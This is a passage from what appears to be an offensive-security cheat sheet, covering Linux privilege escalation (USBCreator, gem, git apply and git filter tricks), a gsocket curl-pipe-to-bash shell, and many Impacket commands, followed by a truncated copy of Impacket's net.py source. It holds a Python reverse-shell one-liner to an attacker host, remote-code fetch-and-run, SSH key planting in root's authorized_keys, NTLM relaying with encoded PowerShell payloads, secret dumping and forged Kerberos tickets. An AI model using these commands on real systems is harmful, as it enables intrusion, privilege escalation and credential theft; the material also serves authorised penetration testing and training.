$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/.ssh/authorized_keys /root/.ssh/authorized_keys true
```

## gem

```console
$ sudo gem open -e "/bin/sh -c /bin/sh" rdoc
```

## Git

### Git apply (Malicious Patch) Privilege Escalation

#### Payload

```console
diff --git a/x b/../../../home/<USERNAME>/.ssh/authorized_keys
new file mode 100400
index 0000000..a3d61a0
--- /dev/null
+++ b/../../../home/<USERNAME>/.ssh/authorized_keys
@@ -0,0 +1 @@
+<SSH_PUBLIC_KEY>
```

#### Execution

```console
$ git apply patch --unsafe-paths
```

### Git Attributes Privilege Escalation

> https://git-scm.com/book/en/v2/Customizing-Git-Git-Attributes#filters_b

Notice that I only found this within a CTF so far. The prerequisites are
`git commit` get's executed via `script`.

#### Payload

```console
export RHOST="<LHOST>";export RPORT=<LPORT>;python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
```

#### Execution

```console
$ git init
$ echo '*.c filter=indent' > .git/info/attributes
$ git config filter.indent.clean /tmp/<FILE>
$ sudo -u <USERNAME> git-commit.sh
```

## Group Managed Service Accounts (gMSA)

```cmd
PS C:\> Set-ADServiceAccount -Identity '<USERNAME>' -PrincipalsAllowedToRetrieveManagedPassword "<USERNAME>"
```

```console
$ netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa
```

## gMSADumper

> https://github.com/micahvandeusen/gMSADumper

```console
$ python3 gMSADumper.py -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -l dc.<DOMAIN>
```

## Google Chrome

### Remote Debugging Port

```console
$ ./chrome-sandbox --remote-debugging-port=<LPORT>
```

```console
$ ssh -L <LPORT>:127.0.0.1:<LPORT> <USERNAME>@<RHOST>
```

```console
chrome://inspect/#devices
```

## grep

```console
$ grep -R db_passwd
$ grep -roiE "password.{20}"
$ grep -oiE "password.{20}" /etc/*.conf
$ grep -v "^[#;]" /PATH/TO/FILE | grep -v "^$"    // grep for passwords like "DBPassword:"
```

## gsocket

### Shell

```console
$ bash -c "$(curl -fsSL gsocket.io/x)"
```

## Impacket

> https://github.com/fortra/impacket

### Library Protocols

> https://tools.thehacker.recipes/impacket

> https://wadcoms.github.io/

> https://www.kali.org/tools/impacket-scripts/

| Impacket Module | Description |
| --- | --- |
| impacket-addcomputer | It will add a computer account to the domain and set its password. The following command will create a new computer over the SMB by specifying the SAMR method. |
| impacket-atexec | It executes a command on the target machine through the Task Scheduler service and returns the output of the executed command. |
| impacket-dcomexec | A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints. Currently supports MMC20.Application, ShellWindows and ShellBrowserWindow objects. |
| impacket-dpapi | Allows decrypting vaults, credentials and masterkeys protected by DPAPI. |
| impacket-esentutl | An Extensible Storage Engine format implementation. Allows dumping catalog, pages and tables of ESE databases (e.g. NTDS.dit). |
| impacket-exchanger | A tool for connecting to MS Exchange via RPC over HTTP v2. |
| impacket-findDelegation | Simple script to quickly list all delegation relationships (unconstrained, constrained, resource-based constrained) in an AD environment. |
| impacket-Get-GPPPassword | This example extracts and decrypts Group Policy Preferences passwords using streams for treating files instead of mounting shares. Additionally, it can parse GPP XML files offline. |
| impacket-GetADUsers | This script will gather data about the domain’s users and their corresponding email addresses. It will also include some extra information about last logon and last password set attributes. |
| impacket-getArch | This script will connect against a target (or list of targets) machine/s and gather the OS architecture type installed by (ab)using a documented MSRPC feature. |
| impacket-GetNPUsers | This example will attempt to list and get TGTs for those users that have the property ‘Do not require Kerberos preauthentication’ set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR. |
| impacket-getPac | This script will get the PAC (Privilege Attribute Certificate) structure of the specified target user just having a normal authenticated user credentials. It does so by using a mix of [MS-SFU]’s S4USelf + User to User Kerberos Authentication. |
| impacket-getST | Given a password, hash, aesKey or TGT in ccache, this script will request a Service Ticket and save it as ccache. If the account has constrained delegation (with protocol transition) privileges you will be able to use the -impersonate switch to request the ticket on behalf another user. |
| impacket-getTGT | Given a password, hash or aesKey, this script will request a TGT and save it as ccache. |
| impacket-GetUserSPNs | This example will try to find and fetch Service Principal Names that are associated with normal user accounts. Output is compatible with JtR and HashCat. |
| impacket-goldenPac | Exploit for MS14-068. Saves the golden ticket and also launches a PSEXEC session at the target. |
| impacket-karmaSMB | A SMB Server that answers specific file contents regardless of the SMB share and pathname specified. |
| impacket-keylistattack | This example implements the Kerberos Key List attack to dump credentials abusing RODCs and Azure AD Kerberos Servers. |
| impacket-kintercept | A tool for intercepting krb5 connections and for testing KDC handling S4U2Self with unkeyed checksum. |
| impacket-lookupsid | A Windows SID brute forcer example through [MS-LSAT] MSRPC Interface, aiming at finding remote users/groups. |
| impacket-machine_role | This script retrieves a host's role along with its primary domain details. |
| impacket-mimikatz | Mini shell to control a remote mimikatz RPC server developed by @gentilkiwi. |
| impacket-mqtt_check | Simple MQTT example aimed at playing with different login options. Can be converted into a account/password brute forcer quite easily. |
| impacket-mssqlclient | Alternative method to execute cmd's on MSSQL. |
| impacket-mssqlinstance | Retrieves the instances names from the target host. |
| impacket-netview | Gets a list of the sessions opened at the remote hosts and keep track of them looping over the hosts found and keeping track of who logged in/out from remote servers. |
| impacket-nmapAnswerMachine | n/a |
| impacket-ntfs-read | NTFS format implementation. This script provides a mini shell for browsing and extracting an NTFS volume, including hidden/locked contents. |
| impacket-ntlmrelayx | This script performs NTLM Relay Attacks, setting an SMB and HTTP Server and relaying credentials to many different protocols (SMB, HTTP, MSSQL, LDAP, IMAP, POP3, etc.). The script can be used with predefined attacks that can be triggered when a connection is relayed (e.g. create a user through LDAP) or can be executed in SOCKS mode. In this mode, for every connection relayed, it will be available to be used later on multiple times through a SOCKS proxy. |
| impacket-ping | Simple ICMP ping that uses the ICMP echo and echo-reply packets to check the status of a host. If the remote host is up, it should reply to the echo probe with an echo-reply packet. |
| impacket-ping6 | Simple IPv6 ICMP ping that uses the ICMP echo and echo-reply packets to check the status of a host. |
| impacket-psexec | PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom) |
| impacket-raiseChild | This script implements a child-domain to forest privilege escalation by (ab)using the concept of Golden Tickets and ExtraSids. |
| impacket-rbcd | Example script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer. |
| impacket-rdp_check | [MS-RDPBCGR] and [MS-CREDSSP] partial implementation just to reach CredSSP auth. This example tests whether an account is valid on the target host. |
| impacket-reg | Remote registry manipulation tool through the [MS-RRP] MSRPC Interface. The idea is to provide similar functionality as the REG.EXE Windows utility. |
| impacket-registry-read | A Windows Registry file format implementation. It allows to parse offline registry hives. |
| impacket-rpcdump | This script will dump the list of RPC endpoints and string bindings registered at the target. It will also try to match them with a list of well known endpoints. |
| impacket-rpcmap | Scan for listening DCE/RPC interfaces. This binds to the MGMT interface and gets a list of interface UUIDs. If the MGMT interface is not available, it takes a list of interface UUIDs seen in the wild and tries to bind to each interface. |
| impacket-sambaPipe | This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through the -so parameter. |
| impacket-samrdump | An application that communicates with the Security Account Manager Remote interface from the MSRPC suite. It lists system user accounts, available resource shares and other sensitive information exported through this service. |
| impacket-secretsdump | Performs various techniques to dump secrets from the remote machine without executing any agent there. For SAM and LSA Secrets (including cached creds) we try to read as much as we can from the registry and then we save the hives in the target system (%SYSTEMROOT%\Temp directory) and read the rest of the data from there. For DIT files, we dump NTLM hashes, Plaintext credentials (if available) and Kerberos keys using the DL_DRSGetNCChanges() method. It can also dump NTDS.dit via vssadmin executed with the smbexec/wmiexec approach. The script initiates the services required for its working if they are not available (e.g. Remote Registry, even if it is disabled). After the work is done, things are restored to the original state. |
| impacket-services | This script can be used to manipulate Windows services through the [MS-SCMR] MSRPC Interface. It supports start, stop, delete, status, config, list, create and change. |
| impacket-smbclient | A generic SMB client that will let you list shares and files, rename, upload and download files and create and delete directories, all using either username and password or username and hashes combination. It’s an excellent example to see how to use impacket.smb in action. |
| impacket-smbexec | A similar approach to PSEXEC w/o using RemComSvc. This implementation goes one step further, instantiating a local smbserver to receive the output of the commands. This is useful in the situation where the target machine does NOT have a writeable share available. |
| impacket-smbpasswd | This script is an alternative to smbpasswd tool and intended to be used for changing expired passwords remotely over SMB (MSRPC-SAMR). |
| impacket-smbrelayx | Exploit for CVE-2015-0005 using a SMB Relay Attack. If the target system is enforcing signing and a machine account was provided, the module will try to gather the SMB session key through NETLOGON. |
| impacket-smbserver | A Python implementation of an SMB server. Allows to quickly set up shares and user accounts. |
| impacket-sniff | Simple packet sniffer that uses the pcapy library to listen for packets in # transit over the specified interface. |
| impacket-sniffer | Simple packet sniffer that uses a raw socket to listen for packets in transit corresponding to the specified protocols. |
| impacket-split | n/a |
| impacket-ticketConverter | This script will convert kirbi files, commonly used by mimikatz, into ccache files used by Impacket, and vice versa. |
| impacket-ticketer | This script will create Golden/Silver tickets from scratch or based on a template (legally requested from the KDC) allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the groups, ExtraSids, duration, etc. |
| impacket-wmiexec | A semi-interactive shell, used through Windows Management Instrumentation. It does not require to install any service/agent at the target server. Runs as Administrator. Highly stealthy. |
| impacket-wmipersist | This script creates/removes a WMI Event Consumer/Filter and link between both to execute Visual Basic based on the WQL filter or timer specified. |
| impacket-wmiquery | It allows to issue WQL queries and get description of WMI objects at the target system (e.g. select name from win32_account). |

### impacket-addcomputer

```console
$ impacket-addcomputer -dc-ip <RHOST> -computer-name <MACHINE_ACCOUNT> -computer-pass <PASSWORD> <DOMAIN>/<USERNAME>:<PASSWORD>$ impacket-addcomputer -dc-ip <RHOST> -computer-name <MACHINE_ACCOUNT> -computer-pass <PASSWORD> <DOMAIN>/<USERNAME>:<PASSWORD>
```

### impacket-atexec

```console
$ impacket-atexec -k -no-pass <DOMAIN>/Administrator@<RHOST> 'type C:\PATH\TO\FILE\<FILE>'
```

### impacket-changepasswd

```console
$ impacket-changepasswd <DOMAIN>/<USERNAME>@<RHOST> -reset -altuser <USERNAME> -althash :<HASH>
```

### impacket-dcomexec

```console
$ impacket-dcomexec <RHOST> -object MMC20 -silentcommand -debug <DOMAIN>/<USERNAME>:<PASSWORD> <COMMAND>
$ impacket-dcomexec -dc-ip <RHOST> -object MMC20 -slientcommand <DOMAIN>/<USERNAME>@<RHOST> <COMMAND>
```

### impacket-describeTicket

```console
$ impacket-describeTicket <FILE>.ccache
```

### impacket-findDelegation

```console
$ impacket-findDelegation <DOMAIN>/<USERNAME> -hashes :<HASH>
```

### impacket-GetADUsers

```console
$ impacket-GetADUsers -all -dc-ip <RHOST> <DOMAIN>/
```

### impacket-GetNPUsers

```console
$ impacket-GetNPUsers <DOMAIN>/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
$ impacket-GetNPUsers <DOMAIN>/ -usersfile usernames.txt -format john -outputfile hashes
$ impacket-GetNPUsers <DOMAIN>/<USERNAME> -request -no-pass -dc-ip <RHOST>
```

### impacket-getST

```console
$ impacket-getST <DOMAIN>/<USERNAME> -spn <USERNAME>/<RHOST> -hashes :<HASH> -impersonate <USERNAME>
$ impacket-getST <DOMAIN>/<USERNAME>$ -spn <USERNAME>/<RHOST> -hashes :<HASH> -impersonate <USERNAME>
```

### impacket-getTGT

```console
$ impacket-getTGT <DOMAIN>/<USERNAME>:<PASSWORD>
$ impacket-getTGT <DOMAIN>/<USERNAME> -dc-ip <DOMAIN> -hashes aad3b435b51404eeaad3b435b51404ee:7c662956a4a0486a80fbb2403c5a9c2c
```

### impacket-getUserSPNs

```console
$ impacket-GetUserSPNs <DOMAIN>/<USERNAME> -dc-ip <RHOST> -request
$ impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -dc-ip <RHOST> -request
```

```console
$ export KRB5CCNAME=<USERNAME>.ccache
$ impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST>.<DOMAIN> -no-pass -request
```

### impacket-lookupsid

```console
$ impacket-lookupsid <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
```

### impacket-netview

```console
$ impacket-netview <DOMAIN>/<USERNAME> -targets /PATH/TO/FILE/<FILE>.txt -users /PATH/TO/FILE/<FILE>.txt
```

### impacket-ntlmrelayx

#### Common Commands

```console
$ impacket-ntlmrelayx -t ldap://<RHOST> -smb2support --interactive
$ impacket-ntlmrelayx -t ldap://<RHOST> -smb2support --delegate-access
$ impacket-ntlmrelayx -t ldap://<RHOST> -smb2support --delegate-access --remove-mic -i
$ impacket-ntlmrelayx -t ldap://<RHOST> -smb2support --delegate-access --remove-mic --interactive
$ impacket-ntlmrelayx -t ldap://<RHOST> -smb2support --delegate-access --escalate-user '<USERNAME>'
$ impacket-ntlmrelayx -t ldap://<RHOST> -smb2support --delegate-access --escalate-user '<USERNAME>' --remove-mic
$ impacket-ntlmrelayx -t ldap://<RHOST> -smb2support --delegate-access --no-dump --add-dns-record 'DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' '<LHOST>'
$ impacket-ntlmrelayx -t ldap://<RHOST> --no-wcf-server --escalate-user <USERNAME>
$ impacket-ntlmrelayx -t <LHOST> --no-http-server -smb2support -c "powershell -enc JAB<--- SNIP --->j=="
$ impacket-ntlmrelayx -t ldap://<RHOST> -smb2support --no-dump --no-da --no-acl
```

#### Execution

```console
$ netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M coerce_plus -o LISTENER=<LHOST>
```

or

```console
$ netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M coerce_plus -o LISTENER=<LHOST> METHOD=petitpotam
```

#### Connect to LDAP Shell

```console
$ nc 127.0.0.1 11000
```

#### LDAP Shell

##### Resource-Based Constrained Delegtion (RBCD)

```console
# set_rbcd <RHOST>$ <RHOST>$
```

```console
$ impacket-getST -spn 'cifs/<RHOST>.<DOMAIN>' -impersonate Administrator -hashes
```

```console
$ netexec smb <RHOST>.<DOMAIN> -u '<RHOST>$' -H <HASH> --delegate Administrator --self
```

##### Shadow Credentials

```console
# clear_shadow_creds <RHOST>$
# set_shadow_creds <RHOST>$
```

#### Reverse Shell Example

```console
$ impacket-ntlmrelayx --no-http-server -smb2support -t <RHOST> -c "powershell -enc JAB<--- SNIP --->j=="
```

```cmd
C:\> dir \\<LHOST>\foobar
```

```console
$ nc -lnvp <LPORT>
```

#### Error Handling

##### Fixing [!] The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)

```console
$ impacket-ntlmrelayx -t ldap://<RHOST>.<DOMAIN> -smb2support --delegate-access --remove-mic --interactive
```

### impacket-psexec

```console
$ impacket-psexec <USERNAME>@<RHOST>
$ impacket-psexec <DOMAIN>/administrator@<RHOST> -hashes aad3b435b51404eeaad3b435b51404ee:8a4b77d52b1845bfe949ed1b9643bb18
```

### impacket-req

```console
$ impacket-reg <DOMAIN>/<USERNAME>:<PASSWORD:PASSWORD_HASH>@<RHOST> <COMMAND> <COMMAND>
```

### impacket-rpcdump

```console
$ impacket-rpcdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
```

### impacket-samrdump

```console
$ impacket-samrdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
```

### impacket-secretsdump

```console
$ impacket-secretsdump <DOMAIN>/<USERNAME>@<RHOST>
$ impacket-secretsdump -dc-ip <RHOST> <DOMAIN>/<SUERNAME>:<PASSWORD>@<RHOST>
$ impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
$ impacket-secretsdump -ntds ndts.dit -system system -hashes lmhash:nthash LOCAL -output nt-hash
```

```console
$ export KRB5CCNAME=<USERNAME>.ccache
$ impacket-secretsdump -k <DOMAIN>/<USERNAME>@<RHOST>.<DOMAIN> -no-pass -debug
```

### impacket-services

```console
$ impacket-services <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST> <COMMAND>
```

### impacket-smbclient

```console
$ impacket-smbclient <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
```

```console
$ export KRB5CCNAME=<USERNAME>.ccache
$ impacket-smbclient -k <DOMAIN>/<USERNAME>@<RHOST>.<DOMAIN> -no-pass
```

### impacket-smbpasswd

```console
$ impacket-smbpasswd <RHOST>/<USERNAME>:<PASSWORD>@<RHOST> -newpass <PASSWORD>
```

### impacket-smbserver

```console
$ impacket-smbserver share . -smb2support
$ impacket-smbserver -smb2support share <FOLDER> -user <USERNAME> -password <PASSWORD>
```

### impacket-ticketer

#### Requirements

* Valid User
* NTHASH
* Domain-SID

```console
$ impacket-ticketer -nthash C1929E1263DDFF6A2BCC6E053E705F78 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain <DOMAIN> -spn MSSQLSVC/<RHOST>.<DOMAIN> -user-id 500 Administrator
```

```console
$ impacket-ticketer -nthash 89551acff8895768e489bb3054af94fd -domain-sid S-1-5-21-2847563149-1937258901-3562441728 -domain 89551acff8895768e489bb3054af94fd -spn MSSQLSVC/<RHOST> -groups 512,519,1105 -user-id 1103 mssqlsvc
```

#### Error Handling

##### Fixing [-] exceptions must derive from BaseException

###### Error Message

```console
$ impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST> -no-pass -request
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] exceptions must derive from BaseException
```

##### Fix

```python
241         if self.__doKerberos:
242             #target = self.getMachineName()
243             target = self.__kdcHost
```

### dacledit.py

> https://github.com/fortra/impacket/blob/204c5b6b73f4d44bce0243a8f345f00e308c9c20/examples/dacledit.py

```console
$ python3 dacledit.py -action 'read' -principal '<USERNAME>' -target '<GROUP>' -target-dn 'DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>' -k -dc-ip <RHOST> -debug
$ python3 dacledit.py -action 'read' -principal '<USERNAME>' -target '<GROUP>' -target-dn 'DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>:<PASSWORD>' -k -dc-ip <RHOST> -debug
$ python3 dacledit.py -action 'write' -rights 'FullControl' -principal '<USERNAME>' -target-dn 'CN=<GROUP{>,CN=<GROUP>,DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>:<PASSWORD>'
$ python3 dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal '<USERNAME>' -target-dn 'DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>' -k -no-pass -dc-ip <RHOST>
$ python3 dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal '<USERNAME>' -target-dn 'OU=<OU>,DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>' -k -use-ldaps -dc-ip <RHOST>
```

#### Error Handling

##### Fixing msada_guids Error

```python
#from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
```

Then put the `msada_guids.py` into the same directory as `dacledit.py`

> https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/helpers/msada_guids.py

### owneredit.py

> https://github.com/fortra/impacket/blob/5c477e71a60e3cc434ebc0fcc374d6d108f58f41/examples/owneredit.py

```console
$ python3 owneredit.py -k <DOMAIN>/<USERNAME>:<PASSWORD> -dc-ip <RHOST> -action write -new-owner <USERNAME> -target <GROUP> -debug
```

### net.py

> https://github.com/fortra/impacket/pull/1801

```python
#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies 
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
#   Impacket alternative for windows net.exe commandline utility.
#   Thanks to rpc protocol, the special feature of this tool is 
#   making net.exe functionalities available from remote computer.
#
#   e.g:
#       python net.py Administrator:password@targetMachine localgroup
#       python net.py Administrator:password@targetMachine user
#       python net.py Administrator:password@targetMachine group
#       python net.py Administrator:password@targetMachine computer
#       python net.py Administrator:password@targetMachine localgroup -name Administrators
#       python net.py Administrator:password@targetMachine user -name Administrator
#       python net.py Administrator:password@targetMachine group -name "Domain Admins"
#       python net.py Administrator:password@targetMachine computer -name DC$
#       python net.py Administrator:password@targetMachine group -name "Domain Admins" -join EvilUs3r
#       python net.py Administrator:password@targetMachine user -enable EvilUs3r
#       python net.py Administrator:password@targetMachine user -disable EvilUs3r
#
# Author:
#   Alex Romero (@NtAlexio2)
#
# Reference for:
#   [MS-SAMR]
# 

import sys
import argparse
import logging
from datetime import datetime

from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.dcerpc.v5 import transport, samr, lsad, lsat
from impacket.smbconnection import SMBConnection


class LsaTranslator:
    def __init__(self, smbConnection):
        self._smbConnection = smbConnection
        self.__stringBindingSamr = r'ncacn_np:445[\pipe\lsarpc]'
        self._lsat_dce = None
        self.Connect()

    def Connect(self):
        rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
        rpc.set_smb_connection(self._smbConnection)
        self._lsat_dce = rpc.get_dce_rpc()
        self._lsat_dce.connect()
        self._lsat_dce.bind(lsat.MSRPC_UUID_LSAT)

    def LookupName(self, name):
        policyHandle = lsad.hLsarOpenPolicy2(self._lsat_dce)['PolicyHandle']
        resp = lsat.hLsarLookupNames3(self._lsat_dce, policyHandle, (name, ))
        lsad.hLsarClose(self._lsat_dce, policyHandle)
        return resp['TranslatedSids']['Sids'][0]['Sid']

    def LookupSids(self, sid_list):
        policyHandle = lsad.hLsarOpenPolicy2(self._lsat_dce)['PolicyHandle']
        resp = lsat.hLsarLookupSids2(self._lsat_dce, policyHandle, sid_list)
        lsad.hLsarClose(self._lsat_dce, policyHandle)
        return resp['TranslatedNames']['Names']


class SamrObject:
    def __init__(self, smbConnection):
        self._smbConnection = smbConnection
        self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
        self._dce = None
        self._domain_handle = None
        self._translator = None
        self._connect()

    def _connect(self):
        rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
        rpc.set_smb_connection(self._smbConnection)
        self._dce = rpc.get_dce_rpc()
        self._dce.connect()
        self._dce.bind(samr.MSRPC_UUID_SAMR)

    def _get_user_sid(self, username):
        if self._translator is None:
            self._translator = LsaTranslator(self._smbConnection)
        return self._translator.LookupName(username)

    def _resolve_sid(self, sid_list):
        if self._translator is None:
            self._translator = LsaTranslator(self._smbConnection)
        return self._translator.LookupSids(sid_list)

    def _get_object_rid(self, domain_handle, object_name):
        response = samr.hSamrLookupNamesInDomain(self._dce, domain_handle, (object_name,))
        object_id = response['RelativeIds']['Element'][0]['Data']
        return object_id

    def _get_user_handle(self, domain_handle, username):
        user_rid = self._get_object_rid(domain_handle, username)
        response = samr.hSamrOpenUser(self._dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
        return response['UserHandle']

    def _get_group_handle(self, domain_handle, alias_name):
        group_rid = self._get_object_rid(domain_handle, alias_name)
        response = samr.hSamrOpenGroup(self._dce, domain_handle, samr.MAXIMUM_ALLOWED, group_rid)
        return response['GroupHandle']

    def _get_alias_handle(self, domain_handle, alias_name):
        alias_rid = self._get_object_rid(domain_handle, alias_name)
        response = samr.hSamrOpenAlias(self._dce, domain_handle, samr.MAXIMUM_ALLOWED, alias_rid)
        return response['AliasHandle']

    def _open_domain(self, builtin=False):
        if self._domain_handle is None:
            self._domain_handle = self.__get_domain_handle(builtin)
        return self._domain_handle

    def _close_domain(self):
        if self._domain_handle != None:
            samr.hSamrCloseHandle(self._dce, self._domain_handle)
            self._domain_handle = None

    def __get_domain_handle(self, builtin=False):
        index = 1 if builtin else 0
        server_handle = samr.hSamrConnect(self._dce)['ServerHandle']
        domain_name = samr.hSamrEnumerateDomainsInSamServer(self._dce, server_handle)['Buffer']['Buffer'][index]['Name']
        domain_id = samr.hSamrLookupDomainInSamServer(self._dce, server_handle, domain_name)['DomainId']
        domain_handle = samr.hSamrOpenDomain(self._dce, server_handle, domainId=domain_id)['DomainHandle']
        return domain_handle


class User(SamrObject):
    def __init__(self, smbConnection):
        super().__init__(smbConnection)
        self._create_account_type = samr.USER_NORMAL_ACCOUNT
        self._enum_account_type = samr.USER_NORMAL_ACCOUNT

    def Enumerate(self):
        domain_handle = self._open_domain()
        try:
            response = samr.hSamrEnumerateUsersInDomain(self._dce, domain_handle, self._enum_account_type)
            for item in response['Buffer']['Buffer']:
                yield item
        except samr.DCERPCSessionError as e:
            if str(e).find('STATUS_MORE_ENTRIES') < 0:
                raise
        finally:
            self._close_domain()
    
    def Query(self, name):
        domain_handle = self._open_domain(False)
        try:
            user_handle = self._get_user_handle(domain_handle, name)
            response = samr.hSamrQueryInformationUser2(self._dce, user_handle, samr.USER_INFORMATION_CLASS.UserAllInformation)
            response = response['Buffer']['All']

            # Get groups that user is member of
            groups = samr.hSamrGetGroupsForUser(self._dce, user_handle)['Groups']['Groups']
            group_id_list = list(map(lambda g: g['RelativeId'], groups))

            sidArray = samr.SAMPR_PSID_ARRAY()
            for gid in group_id_list:
                group_handle = samr.hSamrOpenGroup(self._dce, domain_handle, groupId=gid)['GroupHandle']
                group_sid = samr.hSamrRidToSid(self._dce, group_handle, gid)['Sid']
                si = samr.PSAMPR_SID_INFORMATION()
                si['SidPointer'] = group_sid
                sidArray['Sids'].append(si)
                samr.hSamrCloseHandle(self._dce, group_handle)
            
            global_lookup_ids = samr.hSamrLookupIdsInDomain(self._dce, domain_handle, group_id_list)
            response.fields['GlobalGroups'] = list(map(lambda a: a['Data'], global_lookup_ids['Names']['Element']))

            self._close_domain()
            domain_handle = self._open_domain(True)

            alias_membership = samr.hSamrGetAliasMembership(self._dce, domain_handle, sidArray)
            alias_id_list = list(map(lambda a: a['Data'], alias_membership['Membership']['Element']))

            local_lookup_ids = samr.hSamrLookupIdsInDomain(self._dce, domain_handle, alias_id_list)
            response.fields['LocalGroups'] = list(map(lambda a: a['Data'], local_lookup_ids['Names']['Element']))
            return response

        except samr.DCERPCSessionError as e:
            if str(e).find('STATUS_MORE_ENTRIES') < 0:
                raise
        finally:
            self._close_domain()

    def Create(self, name, new_password, new_nt_hash=''):
        domain_handle = self._open_domain()
        user_handle = samr.hSamrCreateUser2InDomain(self._dce, domain_handle, name, self._create_account_type, samr.USER_ALL_ACCESS)['UserHandle']
        try:
            samr.hSamrSetNTInternal1(self._dce, user_handle, new_password, new_nt_hash)
        except samr.DCERPCSessionError as e:
            samr.hSamrDeleteUser(self._dce, user_handle)
            raise
        else:
            self._hEnableAccount(user_handle)
        finally:
            self._close_domain()

    def Remove(self, name):
        domain_handle = self._open_domain()
        try:
            user_handle = self._get_user_handle(domain_handle, name)
            samr.hSamrDeleteUser(self._dce, user_handle)
        finally:
            self._close_domain()

    def _hEnableAccount(self, user_handle):
        buffer = samr.SAMPR_USER_INFO_BUFFER()
        buffer['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation
        buffer['Control']['UserAccountControl'] = samr.USER_ALL_ADMINCOMMENT
        samr.hSamrSetInformationUser2(self._dce, user_handle, buffer)

    def _hDisableAccount(self, user_handle):
        buffer = samr.SAMPR_USER_INFO_BUFFER()
        buffer['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation
        buffer['Control']['UserAccountControl'] = samr.USER_ACCOUNT_DISABLED | samr.USER_NORMAL_ACCOUNT
        samr.hSamrSetInformationUser2(self._dce, user_handle, buffer)

    def SetUserAccountControl(self, name, action):
        domain_handle = self._open_domain()
        try:
            user_handle = self._get_user_handle(domain_handle, name)
            if action == 'enable':
                self._hEnableAccount(user_handle)
            else:
                self._hDisableAccount(user_handle)
        finally:
            self._close_domain()



class Computer(User):
    def __init__(self, smbConnection):
        super().__init__(smbConnection)
        self._create_account_type = samr.USER_WORKSTATION_TRUST_ACCOUNT
        self._enum_account_type = samr.USER_WORKSTATION_TRUST_ACCOUNT | samr.USER_SERVER_TRUST_ACCOUNT


class Group(SamrObject):
    def Enumerate(self):
        domain_handle = self._open_domain()
        try:
            response = samr.hSamrEnumerateGroupsInDomain(self._dce, domain_handle)
            for item in response['Buffer']['Buffer']:
                yield item
        except samr.DCERPCSessionError as e:
            if str(e).find('STATUS_MORE_ENTRIES') < 0:
                raise
        finally:
            self._close_domain()
    
    def Query(self, group_name):
        domain_handle = self._open_domain()
        try:
            group_handle = self._get_group_handle(domain_handle, group_name)
            response = samr.hSamrGetMembersInGroup(self._dce, group_handle)
            response = samr.hSamrLookupIdsInDomain(self._dce, domain_handle, list(map(lambda a: a['Data'], response['Members']['Members'])))
            return list(map(lambda a: a['Data'], response['Names']['Element']))
        finally:
            self._close_domain()

    def Join(self, group_name, username):
        domain_handle = self._open_domain()
        try:
            group_handle = self._get_group_handle(domain_handle, group_name)
            user_rid = self._get_object_rid(domain_handle, username)
            samr.hSamrAddMemberToGroup(self._dce, group_handle, user_rid, samr.SE_GROUP_ENABLED_BY_DEFAULT)
        finally:
            self._close_domain()

    def UnJoin(self, group_name, username):
        domain_handle = self._open_domain()
        try:
            group_handle = self._get_group_handle(domain_handle, group_name)
            user_rid = self._get_object_rid(domain_handle, username)
            samr.hSamrRemoveMemberFromGroup(self._dce, group_handle, user_rid)
        finally:
            self._close_domain()


class Localgroup(Group):
    def Enumerate(self):
        domain_handle = self._open_domain(True)
        try:
            response = samr.hSamrEnumerateAliasesInDomain(self._dce, domain_handle)
            for item in response['Buffer']['Buffer']:
